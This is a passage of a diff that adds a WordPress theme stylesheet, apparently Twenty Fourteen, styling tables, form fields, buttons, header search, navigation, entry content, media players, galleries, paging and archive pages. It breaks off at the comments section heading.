+	border-width: 0 1px 1px 0;
+	font-weight: bold;
+}
+
+td {
+	border-width: 0 1px 1px 0;
+}
+
+del {
+	color: #767676;
+}
+
+hr {
+	background-color: rgba(0, 0, 0, 0.1);
+	border: 0;
+	height: 1px;
+	margin-bottom: 23px;
+}
+
+/* Support a widely-adopted but non-standard selector for text selection styles
+ * to achieve a better experience. See https://core.trac.wordpress.org/ticket/25898.
+ */
+::selection {
+	background: #24890d;
+	color: #fff;
+	text-shadow: none;
+}
+
+::-moz-selection {
+	background: #24890d;
+	color: #fff;
+	text-shadow: none;
+}
+
+
+/**
+ * 2.0 Repeatable Patterns
+ * -----------------------------------------------------------------------------
+ */
+
+/* Input fields */
+
+input,
+textarea {
+	border: 1px solid rgba(0, 0, 0, 0.1);
+	border-radius: 2px;
+	color: #2b2b2b;
+	padding: 8px 10px 7px;
+}
+
+textarea {
+	width: 100%;
+}
+
+input:focus,
+textarea:focus {
+	border: 1px solid rgba(0, 0, 0, 0.3);
+	outline: 0;
+}
+
+/* Buttons */
+
+button,
+.button,
+input[type="button"],
+input[type="reset"],
+input[type="submit"] {
+	background-color: #24890d;
+	border: 0;
+	border-radius: 2px;
+	color: #fff;
+	font-size: 12px;
+	font-weight: 700;
+	padding: 10px 30px 11px;
+	text-transform: uppercase;
+	vertical-align: bottom;
+}
+
+button:hover,
+button:focus,
+.button:hover,
+.button:focus,
+input[type="button"]:hover,
+input[type="button"]:focus,
+input[type="reset"]:hover,
+input[type="reset"]:focus,
+input[type="submit"]:hover,
+input[type="submit"]:focus {
+	background-color: #41a62a;
+	color: #fff;
+}
+
+button:active,
+.button:active,
+input[type="button"]:active,
+input[type="reset"]:active,
+input[type="submit"]:active {
+	background-color: #55d737;
+}
+
+.search-field {
+	width: 100%;
+}
+
+.search-submit {
+	display: none;
+}
+
+/* Placeholder text color -- selectors need to be separate to work. */
+
+::-webkit-input-placeholder {
+	color: #939393;
+}
+
+:-moz-placeholder {
+	color: #939393;
+}
+
+::-moz-placeholder {
+	color: #939393;
+	opacity: 1; /* Since FF19 lowers the opacity of the placeholder by default */
+}
+
+:-ms-input-placeholder {
+	color: #939393;
+}
+
+/* Responsive images. Fluid images for posts, comments, and widgets */
+
+.comment-content img,
+.entry-content img,
+.entry-summary img,
+#site-header img,
+.widget img,
+.wp-caption {
+	max-width: 100%;
+}
+
+/**
+ * Make sure images with WordPress-added height and width attributes are
+ * scaled correctly.
+ */
+
+.comment-content img[height],
+.entry-content img,
+.entry-summary img,
+img[class*="align"],
+img[class*="wp-image-"],
+img[class*="attachment-"],
+#site-header img {
+	height: auto;
+}
+
+img.size-full,
+img.size-large,
+.wp-post-image,
+.post-thumbnail img {
+	height: auto;
+	max-width: 100%;
+}
+
+/* Make sure embeds and iframes fit their containers */
+
+embed,
+iframe,
+object,
+video {
+	margin-bottom: 24px;
+	max-width: 100%;
+}
+
+p > embed,
+p > iframe,
+p > object,
+span > embed,
+span > iframe,
+span > object {
+	margin-bottom: 0;
+}
+
+/* Alignment */
+
+.alignleft {
+	float: left;
+}
+
+.alignright {
+	float: right;
+}
+
+.aligncenter {
+	display: block;
+	margin-left: auto;
+	margin-right: auto;
+}
+
+blockquote.alignleft,
+figure.wp-caption.alignleft,
+img.alignleft {
+	margin: 7px 24px 7px 0;
+}
+
+.wp-caption.alignleft {
+	margin: 7px 14px 7px 0;
+}
+
+blockquote.alignright,
+figure.wp-caption.alignright,
+img.alignright {
+	margin: 7px 0 7px 24px;
+}
+
+.wp-caption.alignright {
+	margin: 7px 0 7px 14px;
+}
+
+blockquote.aligncenter,
+img.aligncenter,
+.wp-caption.aligncenter {
+	margin-top: 7px;
+	margin-bottom: 7px;
+}
+
+.site-content blockquote.alignleft,
+.site-content blockquote.alignright {
+	border-top: 1px solid rgba(0, 0, 0, 0.1);
+	border-bottom: 1px solid rgba(0, 0, 0, 0.1);
+	padding-top: 17px;
+	width: 50%;
+}
+
+.site-content blockquote.alignleft p,
+.site-content blockquote.alignright p {
+	margin-bottom: 17px;
+}
+
+.wp-caption {
+	margin-bottom: 24px;
+}
+
+.wp-caption img[class*="wp-image-"] {
+	display: block;
+	margin: 0;
+}
+
+.wp-caption {
+	color: #767676;
+}
+
+.wp-caption-text {
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing:    border-box;
+	box-sizing:         border-box;
+	font-size: 12px;
+	font-style: italic;
+	line-height: 1.5;
+	margin: 9px 0;
+}
+
+div.wp-caption .wp-caption-text {
+	padding-right: 10px;
+}
+
+div.wp-caption.alignright img[class*="wp-image-"],
+div.wp-caption.alignright .wp-caption-text {
+	padding-left: 10px;
+	padding-right: 0;
+}
+
+.wp-smiley {
+	border: 0;
+	margin-bottom: 0;
+	margin-top: 0;
+	padding: 0;
+}
+
+/* Assistive text */
+
+.screen-reader-text {
+	clip: rect(1px, 1px, 1px, 1px);
+	overflow: hidden;
+	position: absolute !important;
+	height: 1px;
+	width: 1px;
+}
+
+.screen-reader-text:focus {
+	background-color: #f1f1f1;
+	border-radius: 3px;
+	box-shadow: 0 0 2px 2px rgba(0, 0, 0, 0.6);
+	clip: auto;
+	color: #21759b;
+	display: block;
+	font-size: 14px;
+	font-weight: bold;
+	height: auto;
+	line-height: normal;
+	padding: 15px 23px 14px;
+	position: absolute;
+	left: 5px;
+	top: 5px;
+	text-decoration: none;
+	text-transform: none;
+	width: auto;
+	z-index: 100000; /* Above WP toolbar */
+}
+
+.hide {
+	display: none;
+}
+
+/* Clearing floats */
+
+.footer-sidebar:before,
+.footer-sidebar:after,
+.hentry:before,
+.hentry:after,
+.gallery:before,
+.gallery:after,
+.slider-direction-nav:before,
+.slider-direction-nav:after,
+.contributor-info:before,
+.contributor-info:after,
+.search-box:before,
+.search-box:after,
+[class*="content"]:before,
+[class*="content"]:after,
+[class*="site"]:before,
+[class*="site"]:after {
+	content: "";
+	display: table;
+}
+
+.footer-sidebar:after,
+.hentry:after,
+.gallery:after,
+.slider-direction-nav:after,
+.contributor-info:after,
+.search-box:after,
+[class*="content"]:after,
+[class*="site"]:after {
+	clear: both;
+}
+
+/* Genericons */
+
+.bypostauthor > article .fn:before,
+.comment-edit-link:before,
+.comment-reply-link:before,
+.comment-reply-login:before,
+.comment-reply-title small a:before,
+.contributor-posts-link:before,
+.menu-toggle:before,
+.search-toggle:before,
+.slider-direction-nav a:before,
+.widget_twentyfourteen_ephemera .widget-title:before {
+	-webkit-font-smoothing: antialiased;
+	display: inline-block;
+	font: normal 16px/1 Genericons;
+	text-decoration: inherit;
+	vertical-align: text-bottom;
+}
+
+/* Separators */
+
+.site-content span + .entry-date:before,
+.full-size-link:before,
+.parent-post-link:before,
+span + .byline:before,
+span + .comments-link:before,
+span + .edit-link:before,
+.widget_twentyfourteen_ephemera .entry-title:after {
+	content: "\0020\007c\0020";
+}
+
+
+/**
+ * 3.0 Basic Structure
+ * -----------------------------------------------------------------------------
+ */
+
+.site {
+	background-color: #fff;
+	max-width: 1260px;
+	position: relative;
+}
+
+.main-content {
+	width: 100%;
+}
+
+
+/**
+ * 4.0 Header
+ * -----------------------------------------------------------------------------
+ */
+
+/* Ensure that there is no gap between the header and
+	 the admin bar for WordPress versions before 3.8. */
+#wpadminbar {
+	min-height: 32px;
+}
+
+#site-header {
+	position: relative;
+	z-index: 3;
+}
+
+.site-header {
+	background-color: #000;
+	max-width: 1260px;
+	position: relative;
+	width: 100%;
+	z-index: 4;
+}
+
+.header-main {
+	min-height: 48px;
+	padding: 0 10px;
+}
+
+.site-title {
+	float: left;
+	font-size: 18px;
+	font-weight: 700;
+	line-height: 48px;
+	margin: 0;
+
+	/* Nav-toggle width + search-toggle width - gutter = 86px */
+	max-width: -webkit-calc(100% - 86px);
+	max-width:         calc(100% - 86px);
+}
+
+.site-title a,
+.site-title a:hover {
+	color: #fff;
+	display: block;
+	overflow: hidden;
+	text-overflow: ellipsis;
+	white-space: nowrap;
+}
+
+/* Search in the header */
+
+.search-toggle {
+	background-color: #24890d;
+	cursor: pointer;
+	float: right;
+	height: 48px;
+	margin-right: 38px;
+	text-align: center;
+	width: 48px;
+}
+
+.search-toggle:hover,
+.search-toggle.active {
+	background-color: #41a62a;
+}
+
+.search-toggle:before {
+	color: #fff;
+	content: "\f400";
+	font-size: 20px;
+	margin-top: 14px;
+}
+
+.search-toggle .screen-reader-text {
+	left: 5px; /* Avoid a horizontal scrollbar when the site has a long menu */
+}
+
+.search-box-wrapper {
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing:    border-box;
+	box-sizing:         border-box;
+	position: absolute;
+	top: 48px;
+	right: 0;
+	width: 100%;
+	z-index: 2;
+}
+
+.search-box {
+	background-color: #41a62a;
+	padding: 12px;
+}
+
+.search-box .search-field {
+	background-color: #fff;
+	border: 0;
+	float: right;
+	font-size: 16px;
+	padding: 2px 2px 3px 6px;
+	width: 100%;
+}
+
+
+/**
+ * 5.0 Navigation
+ * -----------------------------------------------------------------------------
+ */
+
+.site-navigation ul {
+	list-style: none;
+	margin: 0;
+}
+
+.site-navigation li {
+	border-top: 1px solid rgba(255, 255, 255, 0.2);
+}
+
+.site-navigation ul ul {
+	margin-left: 20px;
+}
+
+.site-navigation a {
+	color: #fff;
+	display: block;
+	text-transform: uppercase;
+}
+
+.site-navigation a:hover {
+	color: #41a62a;
+}
+
+.site-navigation .current_page_item > a,
+.site-navigation .current_page_ancestor > a,
+.site-navigation .current-menu-item > a,
+.site-navigation .current-menu-ancestor > a {
+	color: #55d737;
+	font-weight: 900;
+}
+
+/* Primary Navigation */
+
+.primary-navigation {
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing:    border-box;
+	box-sizing:         border-box;
+	font-size: 14px;
+	padding-top: 24px;
+}
+
+.primary-navigation.toggled-on {
+	padding: 72px 0 36px;
+}
+
+.primary-navigation .nav-menu {
+	border-bottom: 1px solid rgba(255, 255, 255, 0.2);
+	display: none;
+}
+
+.primary-navigation.toggled-on .nav-menu {
+	display: block;
+}
+
+.primary-navigation a {
+	padding: 7px 0;
+}
+
+/* Secondary Navigation */
+
+.secondary-navigation {
+	border-bottom: 1px solid rgba(255, 255, 255, 0.2);
+	font-size: 12px;
+	margin: 48px 0;
+}
+
+.secondary-navigation a {
+	padding: 9px 0;
+}
+
+.menu-toggle {
+	background-color: #000;
+	border-radius: 0;
+	cursor: pointer;
+	height: 48px;
+	margin: 0;
+	overflow: hidden;
+	padding: 0;
+	position: absolute;
+	top: 0;
+	right: 0;
+	text-align: center;
+	width: 48px;
+}
+
+.menu-toggle:before {
+	color: #fff;
+	content: "\f419";
+	padding: 16px;
+}
+
+.menu-toggle:active,
+.menu-toggle:focus,
+.menu-toggle:hover {
+	background-color: #444;
+}
+
+.menu-toggle:focus {
+	outline: 1px dotted;
+}
+
+.secondary-navigation .customize-partial-edit-shortcut button,
+.footer-sidebar .widget:first-child .customize-partial-edit-shortcut button {
+	left: 0;
+}
+
+/**
+ * 6.0 Content
+ * -----------------------------------------------------------------------------
+ */
+
+.content-area {
+	padding-top: 48px;
+}
+
+.hentry {
+	margin: 0 auto 48px;
+	max-width: 672px;
+}
+
+.site-content .entry-header,
+.site-content .entry-content,
+.site-content .entry-summary,
+.site-content .entry-meta,
+.page-content {
+	margin: 0 auto;
+	max-width: 474px;
+}
+
+.page-content {
+	margin-bottom: 48px;
+}
+
+
+/**
+ * 6.1 Post Thumbnail
+ * -----------------------------------------------------------------------------
+ */
+
+.post-thumbnail {
+	background: #b2b2b2 url(images/pattern-light.svg) repeat fixed;
+	display: block;
+	position: relative;
+	width: 100%;
+	z-index: 0;
+}
+
+a.post-thumbnail:hover {
+	background-color: #999;
+}
+
+.full-width .post-thumbnail img {
+	display: block;
+	margin: 0 auto;
+}
+
+
+/**
+ * 6.2 Entry Header
+ * -----------------------------------------------------------------------------
+ */
+
+.entry-header {
+	position: relative;
+	z-index: 1;
+}
+
+.entry-title {
+	font-size: 33px;
+	font-weight: 300;
+	line-height: 1.0909090909;
+	margin-bottom: 12px;
+	margin: 0 0 12px 0;
+	text-transform: uppercase;
+}
+
+.entry-title a {
+	color: #2b2b2b;
+}
+
+.entry-title a:hover {
+	color: #41a62a;
+}
+
+.site-content .entry-header {
+	background-color: #fff;
+	padding: 0 10px 12px;
+}
+
+.site-content .has-post-thumbnail .entry-header {
+	padding-top: 24px;
+}
+
+
+/**
+ * 6.3 Entry Meta
+ * -----------------------------------------------------------------------------
+ */
+
+.entry-meta {
+	clear: both;
+	color: #767676;
+	font-size: 12px;
+	font-weight: 400;
+	line-height: 1.3333333333;
+	text-transform: uppercase;
+}
+
+.entry-meta a {
+	color: #767676;
+}
+
+.entry-meta a:hover {
+	color: #41a62a;
+}
+
+.sticky .entry-date {
+	display: none;
+}
+
+.cat-links {
+	font-weight: 900;
+	text-transform: uppercase;
+}
+
+.cat-links a {
+	color: #2b2b2b;
+}
+
+.cat-links a:hover {
+	color: #41a62a;
+}
+
+.byline {
+	display: none;
+}
+
+.single .byline,
+.group-blog .byline {
+	display: inline;
+}
+
+.site-content .entry-meta {
+	background-color: #fff;
+	margin-bottom: 8px;
+}
+
+.site-content footer.entry-meta {
+	margin: 24px auto 0;
+	padding: 0 10px;
+}
+
+/* Tag links style */
+
+.entry-meta .tag-links a {
+	background-color: #767676;
+	border-radius: 0 2px 2px 0;
+	color: #fff;
+	display: inline-block;
+	font-size: 11px;
+	font-weight: 700;
+	line-height: 1.2727272727;
+	margin: 2px 4px 2px 10px;
+	padding: 3px 7px;
+	position: relative;
+	text-transform: uppercase;
+}
+
+.entry-meta .tag-links a:hover {
+	background-color: #41a62a;
+	color: #fff;
+}
+
+.entry-meta .tag-links a:before {
+	border-top: 10px solid transparent;
+	border-right: 8px solid #767676;
+	border-bottom: 10px solid transparent;
+	content: "";
+	height: 0;
+	position: absolute;
+	top: 0;
+	left: -8px;
+	width: 0;
+}
+
+.entry-meta .tag-links a:hover:before {
+	border-right-color: #41a62a;
+}
+
+.entry-meta .tag-links a:after {
+	background-color: #fff;
+	border-radius: 50%;
+	content: "";
+	height: 4px;
+	position: absolute;
+	top: 8px;
+	left: -2px;
+	width: 4px;
+}
+
+
+/**
+ * 6.4 Entry Content
+ * -----------------------------------------------------------------------------
+ */
+
+.entry-content,
+.entry-summary,
+.page-content {
+	-webkit-hyphens: auto;
+	-moz-hyphens:    auto;
+	-ms-hyphens:     auto;
+	hyphens:         auto;
+	word-wrap: break-word;
+}
+
+.site-content .entry-content,
+.site-content .entry-summary,
+.page-content {
+	background-color: #fff;
+	padding: 12px 10px 0;
+}
+
+.page .entry-content {
+	padding-top: 0;
+}
+
+.entry-content h1:first-child,
+.entry-content h2:first-child,
+.entry-content h3:first-child,
+.entry-content h4:first-child,
+.entry-content h5:first-child,
+.entry-content h6:first-child,
+.entry-summary h1:first-child,
+.entry-summary h2:first-child,
+.entry-summary h3:first-child,
+.entry-summary h4:first-child,
+.entry-summary h5:first-child,
+.entry-summary h6:first-child,
+.page-content h1:first-child,
+.page-content h2:first-child,
+.page-content h3:first-child,
+.page-content h4:first-child,
+.page-content h5:first-child,
+.page-content h6:first-child {
+	margin-top: 0;
+}
+
+.entry-content a,
+.entry-summary a,
+.page-content a,
+.comment-content a {
+	text-decoration: underline;
+}
+
+.entry-content a:hover,
+.entry-summary a:hover,
+.page-content a:hover,
+.comment-content a:hover,
+.entry-content a.button,
+.entry-summary a.button,
+.page-content a.button,
+.comment-content a.button {
+	text-decoration: none;
+}
+
+.entry-content table,
+.comment-content table {
+	font-size: 14px;
+	line-height: 1.2857142857;
+	margin-bottom: 24px;
+}
+
+.entry-content th,
+.comment-content th {
+	font-weight: 700;
+	padding: 8px;
+	text-transform: uppercase;
+}
+
+.entry-content td,
+.comment-content td {
+	padding: 8px;
+}
+
+.entry-content .edit-link {
+	clear: both;
+	display: block;
+	font-size: 12px;
+	font-weight: 400;
+	line-height: 1.3333333333;
+	text-transform: uppercase;
+}
+
+.entry-content .edit-link a {
+	color: #767676;
+	text-decoration: none;
+}
+
+.entry-content .edit-link a:hover {
+	color: #41a62a;
+}
+
+.entry-content .more-link {
+	white-space: nowrap;
+}
+
+/* Mediaelements */
+
+.hentry .mejs-container,
+.widget .mejs-container {
+	margin: 12px 0 18px;
+}
+
+.hentry .mejs-mediaelement,
+.widget .mejs-mediaelement,
+.hentry .mejs-container .mejs-controls,
+.widget .mejs-container .mejs-controls {
+	background: #000;
+}
+
+.hentry .mejs-controls .mejs-time-rail .mejs-time-loaded,
+.widget .mejs-controls .mejs-time-rail .mejs-time-loaded,
+.hentry .mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-current,
+.widget .mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-current {
+	background: #fff;
+}
+
+.hentry .mejs-controls .mejs-time-rail .mejs-time-current,
+.widget .mejs-controls .mejs-time-rail .mejs-time-current {
+	background: #24890d;
+}
+
+.hentry .mejs-controls .mejs-time-rail .mejs-time-total,
+.widget .mejs-controls .mejs-time-rail .mejs-time-total,
+.hentry .mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-total,
+.widget .mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-total {
+	background: rgba(255, 255, 255, .33);
+}
+
+.hentry .mejs-container .mejs-controls .mejs-time,
+.widget .mejs-container .mejs-controls .mejs-time {
+	padding-top: 9px;
+}
+
+.hentry .mejs-controls .mejs-time-rail span,
+.widget .mejs-controls .mejs-time-rail span,
+.hentry .mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-total,
+.widget .mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-total,
+.hentry .mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-current,
+.widget .mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-current {
+	border-radius: 0;
+}
+
+.hentry .mejs-overlay-loading,
+.widget .mejs-overlay-loading {
+	background: transparent;
+}
+
+.hentry .mejs-overlay-button,
+.widget .mejs-overlay-button {
+	background-color: #fff;
+	background-image: none;
+	border-radius: 2px;
+	box-shadow: 1px 1px 1px rgba(0,0,0,.8);
+	color: #000;
+	height: 36px;
+	width: 48px;
+}
+
+.hentry .mejs-overlay-button:before,
+.widget .mejs-overlay-button:before {
+	-webkit-font-smoothing: antialiased;
+	content: '\f452';
+	display: inline-block;
+	font: normal 32px/1.125 Genericons;
+	position: relative;
+	top: 1px;
+	left: 10px;
+}
+
+.hentry .mejs-controls .mejs-button button:focus,
+.widget .mejs-controls .mejs-button button:focus {
+	outline: none;
+}
+
+.hentry .mejs-controls .mejs-button button,
+.widget .mejs-controls .mejs-button button {
+	-webkit-font-smoothing: antialiased;
+	background: none;
+	color: #fff;
+	display: inline-block;
+	font: normal 16px/1 Genericons;
+}
+
+.hentry .mejs-playpause-button.mejs-play button:before,
+.widget .mejs-playpause-button.mejs-play button:before {
+	content: '\f452';
+}
+
+.hentry .mejs-playpause-button.mejs-pause button:before,
+.widget .mejs-playpause-button.mejs-pause button:before {
+	content: '\f448';
+}
+
+.hentry .mejs-volume-button.mejs-mute button:before,
+.widget .mejs-volume-button.mejs-mute button:before {
+	content: '\f109';
+	font-size: 20px;
+	position: absolute;
+	top: -2px;
+	left: 0;
+}
+
+.widget .mejs-volume-button.mejs-unmute button:before,
+.hentry .mejs-volume-button.mejs-unmute button:before {
+	content: '\f109';
+	left: 0;
+	position: absolute;
+	top: 0;
+}
+
+.hentry .mejs-fullscreen-button button:before,
+.widget .mejs-fullscreen-button button:before {
+	content: '\f474';
+}
+
+.hentry .mejs-fullscreen-button.mejs-unfullscreen button:before,
+.widget .mejs-fullscreen-button.mejs-unfullscreen button:before {
+	content: '\f406';
+}
+
+.hentry .mejs-overlay:hover .mejs-overlay-button,
+.widget .mejs-overlay:hover .mejs-overlay-button {
+	background-color: #24890d;
+	color: #fff;
+}
+
+.hentry .mejs-controls .mejs-button button:hover,
+.widget .mejs-controls .mejs-button button:hover {
+	color: #41a62a;
+}
+
+.content-sidebar .wp-playlist-item .wp-playlist-caption {
+	color: #000;
+}
+
+/* Page links */
+
+.page-links {
+	clear: both;
+	font-size: 12px;
+	font-weight: 900;
+	line-height: 2;
+	margin: 24px 0;
+	text-transform: uppercase;
+}
+
+.page-links a,
+.page-links > span {
+	background: #fff;
+	border: 1px solid #fff;
+	display: inline-block;
+	height: 22px;
+	margin: 0 1px 2px 0;
+	text-align: center;
+	width: 22px;
+}
+
+.page-links a {
+	background: #000;
+	border: 1px solid #000;
+	color: #fff;
+	text-decoration: none;
+}
+
+.page-links a:hover {
+	background: #41a62a;
+	border: 1px solid #41a62a;
+	color: #fff;
+}
+
+.page-links > .page-links-title {
+	height: auto;
+	margin: 0;
+	padding-right: 7px;
+	width: auto;
+}
+
+
+/**
+ * 6.5 Gallery
+ * -----------------------------------------------------------------------------
+ */
+
+.gallery {
+	margin-bottom: 20px;
+}
+
+.gallery-item {
+	float: left;
+	margin: 0 4px 4px 0;
+	overflow: hidden;
+	position: relative;
+}
+
+.gallery-columns-1 .gallery-item {
+	max-width: 100%;
+}
+
+.gallery-columns-2 .gallery-item {
+	max-width: 48%;
+	max-width: -webkit-calc(50% - 4px);
+	max-width:         calc(50% - 4px);
+}
+
+.gallery-columns-3 .gallery-item {
+	max-width: 32%;
+	max-width: -webkit-calc(33.3% - 4px);
+	max-width:         calc(33.3% - 4px);
+}
+
+.gallery-columns-4 .gallery-item {
+	max-width: 23%;
+	max-width: -webkit-calc(25% - 4px);
+	max-width:         calc(25% - 4px);
+}
+
+.gallery-columns-5 .gallery-item {
+	max-width: 19%;
+	max-width: -webkit-calc(20% - 4px);
+	max-width:         calc(20% - 4px);
+}
+
+.gallery-columns-6 .gallery-item {
+	max-width: 15%;
+	max-width: -webkit-calc(16.7% - 4px);
+	max-width:         calc(16.7% - 4px);
+}
+
+.gallery-columns-7 .gallery-item {
+	max-width: 13%;
+	max-width: -webkit-calc(14.28% - 4px);
+	max-width:         calc(14.28% - 4px);
+}
+
+.gallery-columns-8 .gallery-item {
+	max-width: 11%;
+	max-width: -webkit-calc(12.5% - 4px);
+	max-width:         calc(12.5% - 4px);
+}
+
+.gallery-columns-9 .gallery-item {
+	max-width: 9%;
+	max-width: -webkit-calc(11.1% - 4px);
+	max-width:         calc(11.1% - 4px);
+}
+
+.gallery-columns-1 .gallery-item:nth-of-type(1n),
+.gallery-columns-2 .gallery-item:nth-of-type(2n),
+.gallery-columns-3 .gallery-item:nth-of-type(3n),
+.gallery-columns-4 .gallery-item:nth-of-type(4n),
+.gallery-columns-5 .gallery-item:nth-of-type(5n),
+.gallery-columns-6 .gallery-item:nth-of-type(6n),
+.gallery-columns-7 .gallery-item:nth-of-type(7n),
+.gallery-columns-8 .gallery-item:nth-of-type(8n),
+.gallery-columns-9 .gallery-item:nth-of-type(9n) {
+	margin-right: 0;
+}
+
+.gallery-columns-1.gallery-size-medium figure.gallery-item:nth-of-type(1n+1),
+.gallery-columns-1.gallery-size-thumbnail figure.gallery-item:nth-of-type(1n+1),
+.gallery-columns-2.gallery-size-thumbnail figure.gallery-item:nth-of-type(2n+1),
+.gallery-columns-3.gallery-size-thumbnail figure.gallery-item:nth-of-type(3n+1),
+.widget-area .gallery-columns-2 figure.gallery-item:nth-of-type(2n+1),
+.widget-area .gallery-columns-3 figure.gallery-item:nth-of-type(3n+1),
+.widget-area .gallery-columns-4 figure.gallery-item:nth-of-type(4n+1),
+.widget-area .gallery-columns-5 figure.gallery-item:nth-of-type(5n+1),
+.widget-area .gallery-columns-6 figure.gallery-item:nth-of-type(6n+1),
+.widget-area .gallery-columns-7 figure.gallery-item:nth-of-type(7n+1),
+.widget-area .gallery-columns-8 figure.gallery-item:nth-of-type(8n+1),
+.widget-area .gallery-columns-9 figure.gallery-item:nth-of-type(9n+1) {
+	clear: left;
+}
+
+.gallery-caption {
+	background-color: rgba(0, 0, 0, 0.7);
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing:    border-box;
+	box-sizing:         border-box;
+	color: #fff;
+	font-size: 12px;
+	line-height: 1.5;
+	margin: 0;
+	max-height: 50%;
+	opacity: 0;
+	padding: 6px 8px;
+	position: absolute;
+	bottom: 0;
+	left: 0;
+	text-align: left;
+	width: 100%;
+}
+
+.gallery-caption:before {
+	content: "";
+	height: 100%;
+	min-height: 49px;
+	position: absolute;
+	top: 0;
+	left: 0;
+	width: 100%;
+}
+
+.gallery-item:hover .gallery-caption {
+	opacity: 1;
+}
+
+.gallery-columns-7 .gallery-caption,
+.gallery-columns-8 .gallery-caption,
+.gallery-columns-9 .gallery-caption,
+.widget-area .gallery-columns-2 .gallery-caption,
+.widget-area .gallery-columns-3 .gallery-caption,
+.widget-area .gallery-columns-4 .gallery-caption,
+.widget-area .gallery-columns-5 .gallery-caption,
+.widget-area .gallery-columns-6 .gallery-caption,
+.widget-area .gallery-columns-7 .gallery-caption,
+.widget-area .gallery-columns-8 .gallery-caption,
+.widget-area .gallery-columns-9 .gallery-caption {
+	display: none;
+}
+
+
+/**
+ * 6.6 Post Formats
+ * -----------------------------------------------------------------------------
+ */
+
+.format-aside .entry-content,
+.format-aside .entry-summary,
+.format-quote .entry-content,
+.format-quote .entry-summary,
+.format-link .entry-content,
+.format-link .entry-summary {
+	padding-top: 0;
+}
+
+.site-content .format-link .entry-title,
+.site-content .format-aside .entry-title,
+.site-content .format-quote .entry-title {
+	display: none;
+}
+
+
+/**
+ * 6.7 Post/Image/Paging Navigation
+ * -----------------------------------------------------------------------------
+ */
+
+.nav-links {
+	-webkit-hyphens: auto;
+	-moz-hyphens:    auto;
+	-ms-hyphens:     auto;
+	border-top: 1px solid rgba(0, 0, 0, 0.1);
+	hyphens:         auto;
+	word-wrap: break-word;
+}
+
+.post-navigation,
+.image-navigation {
+	margin: 24px auto 48px;
+	max-width: 474px;
+	padding: 0 10px;
+}
+
+.post-navigation a,
+.image-navigation .previous-image,
+.image-navigation .next-image {
+	border-bottom: 1px solid rgba(0, 0, 0, 0.1);
+	padding: 11px 0 12px;
+	width: 100%;
+}
+
+.post-navigation .meta-nav {
+	color: #767676;
+	display: block;
+	font-size: 12px;
+	font-weight: 900;
+	line-height: 2;
+	text-transform: uppercase;
+}
+
+.post-navigation a,
+.image-navigation a {
+	color: #2b2b2b;
+	display: block;
+	font-size: 14px;
+	font-weight: 700;
+	line-height: 1.7142857142;
+	text-transform: none;
+}
+
+.post-navigation a:hover,
+.image-navigation a:hover {
+	color: #41a62a;
+}
+
+/* Paging Navigation */
+
+.paging-navigation {
+	border-top: 5px solid #000;
+	margin: 48px 0;
+}
+
+.paging-navigation .loop-pagination {
+	margin-top: -5px;
+	text-align: center;
+}
+
+.paging-navigation .page-numbers {
+	border-top: 5px solid transparent;
+	display: inline-block;
+	font-size: 14px;
+	font-weight: 900;
+	margin-right: 1px;
+	padding: 7px 16px;
+	text-transform: uppercase;
+}
+
+.paging-navigation a {
+	color: #2b2b2b;
+}
+
+.paging-navigation .page-numbers.current {
+	border-top: 5px solid #24890d;
+}
+
+.paging-navigation a:hover {
+	border-top: 5px solid #41a62a;
+	color: #2b2b2b;
+}
+
+
+/**
+ * 6.8 Attachments
+ * -----------------------------------------------------------------------------
+ */
+
+.attachment .content-sidebar,
+.attachment .post-thumbnail {
+	display: none;
+}
+
+.attachment .entry-content {
+	padding-top: 0;
+}
+
+.attachment footer.entry-meta {
+	text-transform: none;
+}
+
+.entry-attachment .attachment {
+	margin-bottom: 24px;
+}
+
+
+/**
+ * 6.9 Archives
+ * -----------------------------------------------------------------------------
+ */
+
+.archive-header,
+.page-header {
+	margin: 24px auto;
+	max-width: 474px;
+}
+
+.archive-title,
+.page-title {
+	font-size: 16px;
+	font-weight: 900;
+	line-height: 1.5;
+	margin: 0;
+}
+
+.taxonomy-description,
+.author-description {
+	color: #767676;
+	font-size: 14px;
+	line-height: 1.2857142857;
+	padding-top: 18px;
+}
+
+.taxonomy-description p,
+.author-description p {
+	margin-bottom: 18px;
+}
+
+.taxonomy-description p:last-child,
+.author-description p:last-child {
+	margin-bottom: 0;
+}
+
+.taxonomy-description a,
+.author-description a {
+	text-decoration: underline;
+}
+
+.taxonomy-description a:hover,
+.author-description a:hover {
+	text-decoration: none;
+}
+
+
+/**
+ * 6.10 Contributor Page
+ * -----------------------------------------------------------------------------
+ */
+
+.contributor {
+	border-bottom: 1px solid rgba(0, 0, 0, 0.1);
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing:      border-box;
+	padding: 48px 10px;
+}
+
+.contributor:first-of-type {
+	padding-top: 24px;
+}
+
+.contributor-info {
+	margin: 0 auto;
+	max-width: 474px;
+}
+
+.contributor-avatar {
+	border: 1px solid rgba(0, 0, 0, 0.1);
+	float: left;
+	margin: 0 30px 20px 0;
+	padding: 2px;
+}
+
+.contributor-name {
+	font-size: 16px;
+	font-weight: 900;
+	line-height: 1.5;
+	margin: 0;
+}
+
+.contributor-bio a {
+	text-decoration: underline;
+}
+
+.contributor-bio a:hover {
+	text-decoration: none;
+}
+
+.contributor-posts-link {
+	display: inline-block;
+	line-height: normal;
+	padding: 10px 30px;
+}
+
+.contributor-posts-link:before {
+	content: "\f443";
+}
+
+
+/**
+ * 6.11 404 Page
+ * -----------------------------------------------------------------------------
+ */
+
+.error404 .page-content {
+	padding-top: 0;
+}
+
+.error404 .page-content .search-form {
+	margin-bottom: 24px;
+}
+
+
+/**
+ * 6.12 Full-width
+ * -----------------------------------------------------------------------------
+ */
+
+.full-width .hentry {
+	max-width: 100%;
+}
+
+
+/**
+ * 6.13 Singular
+ * -----------------------------------------------------------------------------
+ */
+
+.singular .site-content .hentry.has-post-thumbnail {
+	margin-top: -48px;
+}
+
+
+/**
+ * 6.14 Comments
